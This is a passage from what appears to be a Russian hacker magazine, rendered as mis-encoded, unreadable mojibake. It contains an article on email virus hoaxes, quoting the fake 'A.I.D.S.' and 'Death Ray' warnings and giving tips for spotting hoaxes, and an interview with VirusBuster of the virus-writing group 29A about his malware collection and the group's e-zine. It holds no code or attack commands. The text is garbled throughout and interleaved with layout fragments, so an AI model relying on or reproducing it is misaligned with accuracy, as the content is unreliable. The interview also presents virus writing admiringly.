ìó÷èòåëüíóþ ñìåðòü. À ïîñëå ñàìîñ-
òîÿòåëüíîãî "ëå÷åíèÿ" â äåëî âñòóïà-
åò ïåðâàÿ ÷àñòü: âñåãäà âåäü óäîáíåå
äóìàòü, ÷òî êîìïüþòåð íå ðàáîòàåò íå
èç-çà ñîáñòâåííûõ êðèâûõ ðóê, à èç-çà
"òàèíñòâåííîãî âèðóñà, íàïèñàííîãî
íà ÿçûêå Àññåìáëåðà äëÿ IBM PC".
Êñòàòè, îòêàç îò ïîäîáíîãî ñïîñîáà
ìûøëåíèÿ åñòü ïåðâûé øàã íà äîëãîì
ïóòè îò þçåðà ê õàêåðó.

ÍÅ ÒÛ ÎÄÈÍ ÓÌÍÛÉ
Òû, êîíå÷íî, äóìàåøü, ÷òî, ïðî÷è-

òàâ âñå ýòî, íèêîãäà â æèçíè íå ïîïà-
äåøüñÿ íà ïîäîáíóþ ïðîâîêàöèþ è
áóäåøü âñòðå÷àòü òàêèå ïèñüìà â ñâî-
åì ÿùèêå ñî ñíèñõîäèòåëüíîé óñìåø-
êîé. À çíàåøü, êàêîé âòîðîé øàã íà
ïðåñëîâóòîì ïóòè îò þçåðà ê õàêåðó?
Îñîçíàíèå òîãî, ÷òî íå òû îäèí òàêîé
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A.I.D.S.
Ñîîáùàåì âàì î ñóùåñòâîâàíèè âèðóñà A.I.D.S. Ýòîò âèðóñ, ïðîíèê-
íóâ âíóòðü êîìïüþòåðà, óíè÷òîæàåò âàøó ïàìÿòü. Ýòà ïàìÿòü íå
ïîäëåæèò çàìåíå. Ïîêîí÷èâ ñ ïàìÿòüþ, îí çàðàæàåò ìûøü èëè äðó-
ãîå óñòðîéñòâî ââîäà. Çàòåì âèðóñ èíôèöèðóåò êëàâèàòóðó, è áóê-
âû, êîòîðûå âû íàæèìàåòå, íå áóäóò îòîáðàæàòüñÿ íà ýêðàíå. Ïå-
ðåä ñàìîëèêâèäàöèåé âèðóñ óíè÷òîæèò 5 ìåãàáàéò íà âàøåì æåñò-
êîì äèñêå è óäàëèò âñå ïðîãðàììû íà íåì.

Death Ray.
Íîâûé ñìåðòîíîñíûé âèðóñ äåéñòâèòåëüíî çàñòàâëÿåò êîìïüþòåðû
âçðûâàòüñÿ. Ñ 15 àâãóñòà îò îñêîëêîâ è îãíÿ óæå ïîñòðàäàëî, ïî
ìåíüøåé ìåðå, 47 ÷åëîâåê. Ìèëëèîíû ëþäåé ðèñêóþò ïîëó÷èòü
òðàâìó, îñëåïíóòü èëè äàæå ïîãèáíóòü êàæäûé ðàç, êîãäà ñàäÿòñÿ
çà ñâîè êîìïüþòåðû! "Âèðóñû ïðîøëîãî ìîãëè âûâåñòè èç ñòðîÿ
âàø êîìïüþòåð, íî ýòîò âèðóñ ïîøåë äàëüøå - îí ìîæåò óáèòü
âàñ", - çàÿâèë Ìàðòèí Õåðèäåí, ñïåöèàëèñò ïî êîìïüþòåðíûì âèðó-
ñàì. "Ó ýòîãî âèðóñà íåò òðàäèöèîííûõ "ìàðêåðîâ", ïî êîòîðûì åãî
ìîæíî îáíàðóæèòü. Îí ïðîíèêàåò ñêâîçü ëþáûå ùåëè. Ýòî êðàéíå
ñëîæíûé ïðîöåññ. Ìîãó ñêàçàòü, ÷òî âèðóñ âëèÿåò íà êîìïüþòåðíîå
îáîðóäîâàíèå, ñîçäàâàÿ óñëîâèÿ, ïðèâîäÿùèå ê îïàñíûì êîðîòêèì
çàìûêàíèÿì. Êîíå÷íûé ðåçóëüòàò? Âçðûâû, ìîùíåéøèå âçðûâû.
Ìèëëèîíû ïîëüçîâàòåëåé èíòåðíåòà â îïàñíîñòè".

ÑÀÌÛÅ ÏÐÀÂÄÎÏÎÄÎÁÍÛÅ ÏÐÅÄÓÏÐÅÆÄÅÍÈß :)

Ìíîãîñòðàäàëüíûé AOL...

Àäìèíû ïî÷òîâûõ ñåðâåðîâ
òèõîíüêî îôèãåâàþò, 

ãëÿäÿ íà ðàçìåð òðàôèêà



Åñëè íà
òâîé àäðåñ
ïðèøëî
ïèñüìî ëè÷-
íî îò Ãåéò-
ñà ñ äðó-
æåñêèì ïðå-
äóïðåæäå-
íèåì î íî-
âîì âèðóñå
- çàáåé,
Áèëë íè÷åãî
íå äåëàåò
áåñïëàòíî...

óìíûé (è ïðèíÿòèå ìåð ê èñïðàâëå-
íèþ ýòîãî äîñàäíîãî ôàêòà). Òàê ÷òî
âîò òåáå âòîðîé ñïîñîá îáðàòèòü ìèñ-
òèôèêàöèþ â ðåàëüíûé âðåä.

Âñå ïîìíÿò áàñíþ ïðî ïàñòóõà-âå-
ñåëü÷àêà? Ïðî òîãî, êîòîðûé îâåö ïàñ
è ðàçâëåêàëñÿ, êðè÷à "Âîëêè îâåö ðå-
çàòü ïðèøëè!" Íàðîä âûáåãàåò, à âîë-
êîâ íåò. È òàê ðàçà òðè. À êîãäà è
âïðÿìü âîëêè ïðèøëè, ïàñòóõ òàì ãîð-
ëî íàäðûâàë, íàäðûâàë, äà òàê íèêòî
è íå ïðèøåë... Òî æå ñàìîå è ñ âèðóñà-
ìè. Óëåãëàñü øóìèõà âîêðóã ñëóõîâ î
ñâåðõðàçðóøèòåëüíîì è, åñòåñòâåííî,
íåîáíàðóæèìîì âèðóñå, ñêðûâàþùåì-
ñÿ â ôàéëå sulfnbk.exe. Âñå óæå íà÷è-
òàëèñü îïðîâåðæåíèé îò Êàñïåðñêîãî,
ïîñìîòðåëè íîâîñòè ïî ÎÐÒ, ïîñìåÿ-
ëèñü íàä ñâîèìè ñòðàõàìè è óñïîêîè-
ëèñü. À çëûå ÷åðòè èç âèðìåéêåðñêîé
ãðóïïû "Ïîñëåäíÿÿ îñåíü ìèðà" âçÿ-
ëè è íàïèñàëè íàñòîÿùèé âèðóñ, íàç-
âàëè åãî sulfnbk.exe è ïóñòèëè â Ñåòü.
È ÷òî ìû âèäèì? Ìàññû çàðàæåííûõ,
ñ óñìåøêîé çàêðûâàþùèõ îêîøêî
Äîêòîðà Âåáà ñ òåêñòîì "Virus detect-
ed in sulfnbk.exe": äåñêàòü, íåò, âòîðîé
ðàç íå êóïèìñÿ.

Èçâåñòíû òàêæå ñëó÷àè, êîãäà íåñ-
êîëüêî àáñîëþòíî ðàçíûõ ïðîãðàìì
èìåëè îäíî è òî æå íàçâàíèå - ýòî
ââîäèëî ïîëüçîâàòåëåé â çàáëóæäå-
íèå è ïîðîæäàëî ïàíèêó. Òàê â 1997
ãîäó èìåëà ìåñòî âèðóñíàÿ ìèñòèôè-
êàöèÿ âîêðóã ïðîãðàììû AOL4Free.
Íà ñàìîì äåëå ïðîãðàìì áûëî äâå:
ïåðâàÿ ïðåäîñòàâëÿëà áåñïëàòíûé
(åñòåñòâåííî, íåëåãàëüíûé) äîñòóï ê
AOL, à âòîðàÿ áûëà ñàìûì íàñòîÿùèì
òðîÿíîì. Ïóòàíèöà â íàçâàíèÿõ è âîç-
íèêøèå íà îñíîâå ýòîãî ïðîòèâîðå-
÷èÿ ïðèâåëè ê âîçíèêíîâåíèþ î÷å-
ðåäíîé ìèñòèôèêàöèè.

ÏÀÌßÒÊÀ 
ÄËß ÏÎËÜÇÎÂÀÒÅËÅÉ AOL

Òåïåðü ïðèøëà ïîðà ïîãîâîðèòü î
òîì, êàê æå âñå-òàêè íå ñòàòü æåðòâîé
îáìàíà. Åñòü, êîíå÷íî, ìíîãî ìåòîäèê,
íà÷èíàÿ îò "íå ïîëüçîâàòüñÿ ýëåêò-
ðîííîé ïî÷òîé", çàêàí÷èâàÿ "êàæäîå
ïîëó÷åííîå ïèñüìî îòïðàâëÿòü AV-
ìåéêåðó". Ïî âïîëíå ïîíÿòíûì ïðè÷è-
íàì òû, âåðîÿòíî, ïîéäåøü äðóãèì ïó-
òåì: íàó÷èøüñÿ îòëè÷àòü ïðîâîêàöèþ
îò ðåàëüíûõ ïðåäóïðåæäåíèé. Íàâåð-
íîå, âñåì óæå è òàê âñå ïîíÿòíî, íî
ñèñòåìàòèçàöèÿ - âåëèêàÿ âåùü, ïîý-
òîìó äàâàé ñîáåðåì âñå â êó÷ó ïîä
íàçâàíèåì "Ìàíóàë ïî áîðüáå ñ ìèñ-
òèôèêàöèÿìè":
- åñëè íà òâîé àäðåñ ïðèøëî ïèñüìî
ëè÷íî îò Ãåéòñà ñ äðóæåñêèì ïðåäóï-
ðåæäåíèåì î íîâîì âèðóñå - ñìåëî
óäàëÿé åãî, Áèëë íè÷åãî íå äåëàåò
áåñïëàòíî :), è åñëè òîëüêî òû íå ïîä-
ïèñàí íà åãî "ñâåðõýôôåêòèâíóþ
ïðîãðàììó áîðüáû ñ âèðóñàìè âñåãî
çà $799", òî òàêîãî ïèñüìà òåáå íèêîã-
äà íå ïðèäåò;
- åñëè òåáå ïðèøëî ïèñüìî ñ òâîåãî ïî÷-
òîâîãî ñåðâåðà, åñòü ïîâîä ñëåãêà íàñ-

òîðîæèòüñÿ è ñõîäèòü íà èõ ñàéò èëè íà
ñàéò àíòèâèðóñíèêà: åñëè ýòî äåéñòâè-
òåëüíî íàñòîÿùåå ïðåäóïðåæäåíèå, â
íîâîñòÿõ áóäåò îá ýòîì ñêàçàíî;
- îáðàòè âíèìàíèå íà îôîðìëåíèå
ïèñüìà. Íàäåþñü, çà äîëãèå ãîäû
áîðüáû ñî ñïàìîì òû íàó÷èëñÿ íå âå-
ðèòü ïðèçûâàì, íàïèñàííûì áîëüøè-
ìè áóêâàìè ñ êó÷åé âîñêëèöàòåëüíûõ
çíàêîâ;
- îáðàòè âíèìàíèå íà òîí ïèñüìà. Åñ-
ëè â ïèñüìå ïðèìåíèòåëüíî ê âèðóñó
âñòðå÷àþòñÿ ïðèñòàâêè "ñóïåð",
"óëüòðà" è "ñâåðõ", òåáÿ ÿâíî ãðóçÿò;
- îáðàòè âíèìàíèå íà òåõíè÷åñêèå
ïîäðîáíîñòè. Åñëè â ïîñëàíèè ãîâî-
ðèòñÿ, ÷òî íîâûé âèðóñ íàïèñàí íà
Visual SQL++ .NET, îñíàùåí ñèñòåìîé
ýõîëîêàöèè è âñòðîåííûì òîêîïðèåì-
íèêîì - òû çíàåøü, ãäå ó òåáÿ Trash.
ßðêèì ïðèìåðîì ìîæåò ñëóæèòü óïî-
ìÿíóòûé âûøå Good Times - â ïèñü-
ìàõ-ïðåäóïðåæäåíèÿõ ãîâîðèëîñü,
÷òî âèðóñ âûâîäèò èç ñòðîÿ ïðîöåñ-
ñîð, çàñòàâëÿÿ åãî âûïîëíÿòü "áåñêî-
íå÷íûé áèíàðíûé öèêë n-îé ñëîæíîñ-
òè". Õîòÿ, êîíå÷íî, íà ñàìîì äåëå, íà-
äî îáðàùàòü âíèìàíèå äàæå íà ìåíåå
ãðóáûå îøèáêè;
- åñëè òåáÿ ïðîñÿò ðàçîñëàòü ýòî ñî-
îáùåíèå ñâîèì çíàêîìûì - ýòî 100%
ïîäñòàâà;
- åñëè òåáÿ ïðîñÿò óäàëèòü êàêîé-òî
ôàéë èëè ïîäïðàâèòü ðååñòð, ñì. âû-
øå, íàñ÷åò Trash.

ÃÄÅ ÏÎËÓ×ÈÒÜ ÄÎÑÒÎÂÅÐÍÓÞ
ÈÍÔÎÐÌÀÖÈÞ?

Íîâîñòè î âèðóñíûõ ìèñòèôèêà-
öèÿõ, ïîäòâåðæäåíèÿ è îïðîâåðæåíèÿ
åñòü íà ëþáîì ñåðüåçíîì àíòèâèðóñ-
íîì ñàéòå. ß ëè÷íî çà ïîäîáíîé èí-
ôîðìàöèåé õîæó íà F-Secure.com è
Viruslist.com.

Åñëè æå òåáå íóæíà íå ñêóïàÿ ñâîäêà,
âðîäå "ýòî ïðîâîêàöèÿ, íå âåðüòå", à
èíòåðåñíàÿ èíôîðìàöèÿ, ïîäðîáíîñ-
òè è ò.ä., ñòîèò çàãëÿíóòü ïî ñëåäóþ-
ùèì äâóì àäðåñàì: 

1. Vmyths.com, "Âñå î âèðóñíûõ ìèñòè-
ôèêàöèÿõ" (íà àíãëèéñêîì). Ðåñóðñ
èíòåðåñåí òåì, ÷òî îáû÷íî ïðåäîñòàâ-
ëÿåò õîðîøèé àíàëèç ïðîèñøåäøèõ
ìèñòèôèêàöèé: ïî÷åìó îáìàí óäàëñÿ,
ïî÷åìó ñëóõ ðàñïðîñòðàíèëñÿ òàê
áûñòðî è ò.ï. Êðîìå òîãî, àâòîð âûäâè-
ãàåò äîâîëüíî ëþáîïûòíûå ïðåäïîëî-
æåíèÿ îòíîñèòåëüíî ïîëèòèêè âåäó-
ùèõ àíòèâèðóñíûõ êîìïàíèé - îí ñ÷è-
òàåò, ÷òî êðóïíûå ôèðìû, çàíèìàþ-
ùèåñÿ ðàçðàáîòêîé ñðåäñòâ çàùèòû
îò âèðóñîâ, ñàìè èñïîëüçóþò áîëåå
ñîâåðøåííîå ïðîãðàììíîå îáåñïå÷å-
íèå, ÷åì ïðåäëàãàþò êëèåíòàì. Ïðè-
÷åì íà ñàéòå ïðèâîäÿòñÿ äîâîëüíî
óáåäèòåëüíûå äîêàçàòåëüñòâà.

2. Hoaxbusters.ciac.org, "Îõîòíèêè çà
ïðîâîêàöèÿìè" (íà àíãëèéñêîì). Åñòü
ðàçäåë ïðî èñòîðèþ êîìïüþòåðíûõ
ìèñòèôèêàöèé, èõ êëàññèôèêàöèþ è
ìåòîäû ïðîòèâîäåéñòâèÿ. Õîðîøèõ
ñàéòîâ, ïîñâÿùåííûõ âèðóñíûì ìèñ-
òèôèêàöèÿì, â ðóíåòå, ê ñîæàëåíèþ,
íåò. Ìàêñèìóì, ÷òî òû ñìîæåøü íàéòè
- ñòàòüè âðîäå ýòîé äà äåñÿòîê ñîâå-
òîâ îò Êàñïåðñêîãî.

ÍÀÏÎÑËÅÄÎÊ 
Òåáå ìîæåò ïîêàçàòüñÿ, ÷òî âðå-

ìÿ, êîãäà âèðóñíûå ìèñòèôèêàöèè
ââîäèëè â çàáëóæäåíèå òûñÿ÷è ÷å-
ëîâåê, áåçâîçâðàòíî ïðîøëî. Âåäü
íà ñòðàæå íàøåãî ñïîêîéñòâèÿ äå-
ñÿòêè àíòèâèðóñíûõ êîìïàíèé è ñîò-
íè íîâîñòíûõ ñàéòîâ, ãîòîâûõ èçîá-
ëè÷èòü î÷åðåäíóþ ïðîâîêàöèþ. Íî
ýòî íå òàê. Ñàìîå óÿçâèìîå çâåíî â
ëþáîé ñèñòåìå - ÷åëîâåê. Íåäàðîì
Ìèòíèê òàê ãîðäèëñÿ ñâîèì óìåíèåì
îáùàòüñÿ ñ ëþäüìè. È âèðóñíûå ìèñ-
òèôèêàöèè - êàê ðàç òîò ñëó÷àé, êîã-
äà óìåëî ïîäîáðàííûå ñëîâà ìîãóò
ïðèíåñòè áîëüøå âðåäà, ÷åì âñå âè-
ðóñû ìèðà. A
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Âðàã íå äðåìëåò!

Îïåðàòèâíî è äîñòîâåðíî, íî íà

àíãëèéñêîì

Êó÷à èíôîðìàöèè, äîâîëüíî ÷àñòî

îáíîâëÿåòñÿ

Èñòîðèÿ ìèñòèôèêàöèé, òåêñòû

ïðåäóïðåæäåíèé è ìíîãî ÷åãî åùå



mindw0rk

O ñîîáùåñòâå âèðóñìåéêåðîâ ìàëî ÷òî èçâåñòíî. Ïðåññà ïîñòîÿííî ïèøåò î ðîæäåíèè íîâîãî âèðÿ èëè ÷åðâÿêà, íî èõ àâòîðû
íàõîäÿòñÿ â òåíè. Òåì íå ìåíåå, ýòî ñîîáùåñòâî ñóùåñòâóåò è æèâåò ñâîåé ïîäïîëüíîé æèçíüþ. Äàëåêî íå ïîñëåäíþþ ðîëü

â íåì èãðàåò ãðóïïà 29A. Áåññïîðíî - ýòî ñàìàÿ èçâåñòíàÿ VX-team, òàê êàê æóðíàë 29A, åþ èçäàâàåìûé, ÷èòàåò êàæäûé óâàæà-
þùèé ñåáÿ âèðóñìåéêåð. Îñíîâàòåëü ãðóïïû, ÷åëîâåê, êîòîðûé âëàäååò ñàìîé áîëüøîé â ìèðå êîëëåêöèåé âèðóñîâ, ñîãëàñèëñÿ
ðàññêàçàòü íåìíîãî î 29À, î ñâîåì âèäåíèè ñöåíû è íåêîòîðûõ äðóãèõ îêîëîâèðóñíûõ âåùàõ. Âñòðå÷àéòå - VirusBuster.

ÈÍÒÅÐÂÜÞ
VIRUSBUSTER ÈÇ 29A

VIRUSBUSTER:
"VX-ÑÖÅÍÀ -
ÑÀÊÑ"
mindw0rk: Ïðèâåò. Íó
÷òî, ïðèñòóïèì?

VVBB:: Ïîåõàëè.

mindw0rk: Äëÿ íà÷àëà ðàññêàæè íåì-
íîãî î ñåáå. Êàê çîâóò, ñêîëüêî ëåò,
ãäå æèâåøü, ãäå ðàáîòàåøü, õîëîñò
èëè æåíàò, à òàêæå ÷åì èíòåðåñóåøü-
ñÿ è êàê îòíîñèøüñÿ ê æèçíè?
VVBB:: Çîâóò ìåíÿ Ëóèñ, ìíå 29 ëåò. Íà
äàííûé ìîìåíò ïðîæèâàþ â Èñïàíèè,
ðàáîòàþ â êîìïüþòåðíîé îáëàñòè.
Æåíàò, è æåíà ìîÿ, ïîæàëóé, ÿâëÿåò-
ñÿ ìîèì ãëàâíûì èíòåðåñîì. Åùå êîë-
ëåêöèîíèðóþ âèðóñû, ëþáëþ èãðàòü
íà ãèòàðå, âûåçæàòü íà ïèêíèê, õî-
äèòü â êèíî, ÷èòàòü êíèãè (îñîáåííî
Ñòèâåíà Êèíãà è Àðòóðà Êîíàí Äîéëà)
è ñëóøàòü ìóçûêó (áëþç). À ìîé æèç-
íåííûé ïðèíöèï ìîæíî ñôîðìóëèðî-
âàòü òàê: "Åñëè ïðîáëåìà èìååò ðåøå-
íèå - çà÷åì òîãäà áåñïîêîèòüñÿ? È åñ-
ëè ðåøåíèÿ íåò - òåì áîëåå, íà ôèã
çàáèâàòü ãîëîâó åðóíäîé".

mindw0rk: Ðàññêàæè, êàê òû ïîäñåë íà
êîìïû. È êàê ó òåáÿ âîçíèê èíòåðåñ ê
êîìïüþòåðíûì âèðóñàì.
VVBB:: Ãäå-òî â ðàéîíå 1984 ã. ó ìîåãî êó-
çåíà ïîÿâèëñÿ ZX Spectrum, ïîñëå
ýòîãî ÿ ñòàë íàìíîãî ÷àùå çàõàæè-
âàòü ê íåìó â ãîñòè. Ìû äíÿìè íàïðî-
ëåò ïóëÿëè â ðàçíûå èãðóøêè è äàæå
íå ïûòàëèñü âíèêíóòü âî ÷òî-òî êðîìå
íèõ. Ïåðâûå ïîïûòêè îñâîèòü ïðîã-
ðàììèðîâàíèå ÿ ïðåääïðèíÿë â ñòàð-
øèõ êëàññàõ øêîëû. Íè÷åãî ñåðüåçíî-
ãî - òàê, ëàìåðñêèå ïðîãðàììêè íà
Áåéñèêå è Êîáîëå, ýêñïåðèìåíòû ñ àñ-
ñåìáëåðîì. Ãîðàçäî ñèëüíåå, ÷åì
ïðîãðàììèðîâàíèåì, ÿ óâëåêàëñÿ ñî-
áèðàíèåì âàðåçà. Èñêàë è ñêà÷èâàë
âñå, ÷òî òîëüêî ìîæíî, è àêêóðàòíî
ñêëàäèðîâàë íà äèñêåòàõ. ×åðåç êà-
êîå-òî âðåìÿ ÿ ïîçíàêîìèëñÿ ñ
Gordon Shumway - ÷åëîâåêîì, êîòî-
ðûé ïîìîã ìíå îñíîâàòü è êîîðäèíè-
ðîâàòü ðàáîòó Dark Node BBS. Èìåííî
îí îòêðûë äëÿ ìåíÿ òàêîå ÿâëåíèå,
êàê êîìïüþòåðíûå âèðóñû. Ó íåãî òîã-
äà áûëà íåáîëüøàÿ êîëëåêöèÿ âèðåé,

è ìû âìåñòå ñ èíòåðåñîì åå èçó÷àëè.
Ñî âðåìåíåì Ãîðäîí ðàññêàçàë ìíå
îáî âñåì, ÷òî çíàë ñàì, ïîñëå ÷åãî
ìîé èíòåðåñ ê âèðóñàì îêðåï è âûëèë-
ñÿ â îäíî èç ãëàâíûõ óâëå÷åíèé â
æèçíè. Â 1994 ã. ó ìåíÿ äîìà ïîÿâèëñÿ
èíòåðíåò. ×òîáû íàïîëíèòü ñâîþ BBS
ñâåæèì âàðåçîì, ÿ ñòàë àêòèâíî ñåð-
ôèòü ïî ðàçíûì ñàéòàì è òàêèì îáðà-
çîì óçíàë î âèðóñ-ñöåíå. Ñ ýòîãî âñå è
íà÷àëîñü.

mindw0rk: Ñêîëüêî âèðóñîâ òû óæå
óñïåë çàðåëèçèòü?

VVBB:: ß íå ïèøó âèðóñîâ è íèêîãäà èõ
íå ïèñàë. Ïî ïðàâäå ñêàçàòü, ÿ íå àõ-
òè êàêîé êîäåð. Ìíå äàæå ïðèõîäè-
ëîñü îáðàùàòüñÿ ê äðóçüÿì, êîãäà
íóæíî áûëî íàïèñàòü êàêóþ-òî ïðîã-
ðàììó. Òåì íå ìåíåå, ÿ ëþáëþ èçó-
÷àòü êîìïüþòåðíûå âèðóñû è ðàçðà-
áàòûâàòü äëÿ íèõ íîâûå àëãîðèòìû,
êîòîðûìè ïîòîì äåëþñü ñî ñâîèìè
äðóçüÿìè-âèðóñìåéêåðàìè. Â 1998 ã.
ÿ ïðèñòóïèë ê íàïèñàíèþ óòèëèòû
äëÿ ñîðòèðîâêè âèðåé. Ýòîò ïðîåêò
ïîä íàçâàíèåì VS2000 ïîáóäèë ìå-
íÿ áîëåå ñåðüåçíî îòíåñòèñü ê èçó-
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ß íå ïèøó âèðóñîâ è íèêîãäà èõ íå ïèñàë. 
Ïî ïðàâäå ñêàçàòü, ÿ íå àõòè êàêîé êîäåð. 
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Âñå ìåìáå-
ðû 29A ÿâ-
ëÿþòñÿ
ëó÷øèìè â
ìèðå âèðóñ-
êîäåðàìè.

... íå ñòîèò
íàçûâàòü
÷òî-ëèáî
íåâîçìîæ-
íûì. Ëó÷øå
ñêàçàòü,
÷òî ïîêà
ýòîãî åùå
íå ñäåëàëè.
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... äàæå òîã-
äà 29À áû-
ëà çå áåñò
:). 

÷åíèþ ïðîãðàììèðîâàíèÿ. Ìíå õîòå-
ëîñü íàïèñàòü ïðîãðàììó ñàìîñòîÿ-
òåëüíî, âåäü êàê òàì: "Õî÷åøü, ÷òî-
áû ÷òî-òî áûëî ñäåëàíî õîðîøî -
ñäåëàé ýòî ñàì". Ñ òåõ ïîð ÿ áîëüøå
íå îáðàùàþñü ê êîäåðàì çà ïî-
ìîùüþ :).

mindw0rk: Â îäíîì VX-÷àðòå òåáÿ íàç-
âàëè êîëëåêöèîíåðîì âèðóñîâ íîìåð
îäèí â ìèðå. Ñêîëüêî ýêçåìïëÿðîâ
ñåé÷àñ â òâîåé êîëëåêöèè? Íàñêîëüêî
÷àñòî îíà îáíîâëÿåòñÿ? Ãäå õðàíèòñÿ
è ñêîëüêî âåñèò? Åñòü ëè ó òåáÿ
ýêñêëþçèâíûå âåùè, êîòîðûõ íè ó êî-
ãî áîëüøå íåò? Êàêèå èç òâîèõ ïèòîì-
öåâ íàèáîëåå îïàñíû?
VVBB:: Ñåé÷àñ â ìîåé êîëëåêöèè 400 òû-
ñÿ÷ ôàéëîâ, ïðèìåðíî 100 òûñÿ÷ -
óíèêàëüíûõ (òî åñòü íå ìîäèôèêàöèè
îäíîé è òîé æå ïðîãðàììû). Ñðåäè íèõ
âèðóñû, ÷åðâè, òðîÿíû, áýêäîðû è
ïðî÷èå ïîäîáíûå âåùè. Âñå âìåñòå
ýòî çàíèìàåò 2,5 ãèãà íà ìîåì âèíòå è
6 ñèäþêîâ. Êîëëåêöèÿ îáíîâëÿåòñÿ

ïî÷òè êàæäûé äåíü, â îñíîâíîì ïîñ-
ðåäñòâîì òðåéäèíãà ñ äðóãèìè VX-col-
lector'àìè. Ïîìèìî ðàñïðîñòðàíåííûõ
è õîðîøî èçâåñòíûõ çâåðüêîâ, ó ìåíÿ
åñòü è î÷åíü ðåäêèå ýêçåìïëÿðû, à
òàêæå ýêñêëþçèâû. Ñàìûé îïàñíûé
âèðü â êîëëåêöèè - êîíå÷íî æå, CIH.
Âåäü îí ïîãàíèò æåëåçî. Áîëüøàÿ
÷àñòü ìîåé ïîäáîðêè âèðåé - ïóáëè÷-
íàÿ, íî åñòü è ñêðûòàÿ, ïðèâàòíàÿ
÷àñòü. Ïðèâàò ÿ äåðæó äëÿ ñåáÿ è íè ñ
êåì èì íå äåëþñü.

mindw0rk: Íàñêîëüêî ÿ çíàþ, òû óæå
íåñêîëüêî ëåò ñîñòîèøü â ãðóïïå 29A
- îäíîé èç ñàìûõ àâòîðèòåòíûõ è óâà-
æàåìûõ â VX-êîìüþíèòè. Ðàññêàæè î
íåé ïîïîäðîáíåå. Äëÿ íà÷àëà, êàê îíà
ïîÿâèëàñü, è ÷òî ñîáîé ïðåäñòàâëÿåò
ñåé÷àñ?
VVBB:: Ïåðâîíà÷àëüíûé ñîñòàâ ãðóïïû
29À ñôîðìèðîâàëñÿ âíóòðè Dark
Node BBS. Â òî âðåìÿ ñòàíöèÿ áûëà
óæå ïîëíîñòüþ ïîñâÿùåíà âèðóñàì, è
ó÷àñòèå â äèñêóññèÿõ íà íåé ïðèíèìà-
ëè ìíîãèå èçâåñòíûå ïðåäñòàâèòåëè

VX scene. Äëÿ ìíîãèõ âèðóñìåéêåðîâ
DN ñòàëà ìåñòîì ðåëèçà ñâîèõ ïðîåê-
òîâ. Îäíàæäû, â äàëåêîì 1995 ãîäó,
ìû ñ Ãîðäîíîì ðåøèëè ñîáðàòü âñå,
÷òî áûëî çàðåëèçåíî ÷ëåíàìè áîðäû,
è ñîçäàòü íà îñíîâå ýòîãî ìàòåðèàëà
æóðíàë, ïîäîáíûé 40-Hex. 29À èçíà-
÷àëüíî íå áûëà âèðóñ-ãðóïïîé. 29À -
ýòî íàçâàíèå æóðíàëà, à òàêæå ãðóï-
ïû ëþäåé, ïðè÷àñòíûõ ê åãî ñîçäà-
íèþ. Ìû ïðîñòî îáúåäèíèëèñü âìåñòå
ñ îäíîé öåëüþ - äîíåñòè äî ëþäåé èí-
ôîðìàöèþ è ïðîãðàììû, íàïèñàííûå
ïîñòîÿííûìè ïîñåòèòåëÿìè Dark
Node. Ñäåëàòü ýòî ïîñðåäñòâîì æóð-
íàëà. Òàêàÿ âîò ñèòóàöèÿ ñîõðàíÿåòñÿ
äî ñèõ ïîð.

mindw0rk: Êòî ñåé÷àñ ÷èñëèòñÿ â ñîñ-
òàâå 29A? Íåáîëüøîé êîììåíòàðèé î
êàæäîì ìåìáåðå.
VVBB:: Super, Vecna, Z0MBiE, Ratter,
Benny, Mental Driller, GriYo, roy g biv,
VirusBuster. Îò êîììåíòàðèåâ, èçâèíè,
âîçäåðæóñü.

mindw0rk: Íàñêîëüêî âûñîê óðîâåíü
ïðîôåññèîíàëèçìà â 29A?
VVBB:: Âñå ìåìáåðû 29A ÿâëÿþòñÿ ëó÷-
øèìè â ìèðå âèðóñ-êîäåðàìè. Åäèí-
ñòâåííûé ÍÅ êîäåð - ýòî VirusBuster. ß
çàíèìàþñü îðãàíèçàöèîííûìè âîïðî-
ñàìè, ðåäàêòîðñòâóþ è àäìèíèñòðè-
ðóþ íàø îôèöèàëüíûé ñàéò. Ïëþñ ïî
ìåëî÷è.

mindw0rk: Êàêàÿ àòìîñôåðà öàðèò
âíóòðè ãðóïïû? Êàê âû êîíòàêòèðóåòå
è çíàåòå ëè äðóã äðóãà â ðèàëëàéôå?
VVBB:: Àòìîñôåðà î÷åíü äðóæåñòâåííàÿ,
îòíîøåíèÿ - îòëè÷íûå. Òàê êàê æèâåì
ìû â ðàçíûõ ãîðîäàõ è ñòðàíàõ, ñîá-
ðàòüñÿ â ðë âìåñòå íå ïîëó÷àåòñÿ. Ïî-
ýòîìó îáùàåìñÿ â îñíîâíîì ïîñðåä-
ñòâîì ýëåêòðîííîé ïî÷òû. Õîòÿ, GriYo
çíàåò ëè÷íî áîëüøèíñòâî ìåìáåðîâ
29A. Îáû÷íî ðàáîòà èíäèâèäóàëüíàÿ.
Êàæäûé çíàåò ñâîå äåëî è äåëàåò åãî
ñàìîñòîÿòåëüíî. Îáúåäèíÿåìñÿ ìû
íåçàäîëãî äî ðåëèçà æóðíàëà. Â òàêîå
âðåìÿ ìû âñå âìåñòå ðåøàåì, êàêèå
ñòàòüè âêëþ÷èòü â 29A e-zine è êàêèå
âèðóñû çàðåëèçèòü.

mindw0rk: Åñòü ëè ó âàñ êàêèå-òî ôîð-
ìàëüíûå ïðàâèëà, êîòîðûõ äîëæåí
ïðèäåðæèâàòüñÿ êàæäûé ìåìáåð?
VVBB:: Íè÷åãî îôèöèàëüíîãî. Îñíîâíûì
òðåáîâàíèåì ÿâëÿåòñÿ àêòèâíîñòü. Òî
åñòü, åñëè òû â 29A, òî äîëæåí êàêèì-
òî îáðàçîì âíîñèòü ñâîé âêëàä -
ó÷àñòâîâàòü â íàïîëíåíèè æóðíàëà,
ðåëèçèòü íîâûå ðàáîòû ïîä ëåéáëîì
29A. Åñëè ÷åëîâåê íè÷åãî íå äåëàåò,
âðÿä ëè îí îñòàíåòñÿ â êîìàíäå.

mindw0rk: Íàñêîëüêî àêòèâíà 29A ñå-
ãîäíÿ? Íàä êàêèìè ïðîåêòàìè âû ñåé-
÷àñ ðàáîòàåòå?
VVBB:: Îñíîâíîå íàøå äåòèùå - 29A
virus e-zine, êîòîðûé âûõîäèò ñ ïåðèî-
äè÷íîñòüþ 1 âûïóñê â ãîä. Òàêàÿ çàäå-
ðæêà ñâÿçàíà ñ òåì, ÷òî äåëàòü êà÷å-
ñòâåííûé æóðíàë î âèðóñàõ ñåé÷àñ
íå òàê-òî ëåãêî. À âñå ìåìáåðû 29A
î÷åíü òðåáîâàòåëüíû ê êà÷åñòâó òî-
ãî, ÷òî îíè äåëàþò. Ê òîìó æå ìû õî-
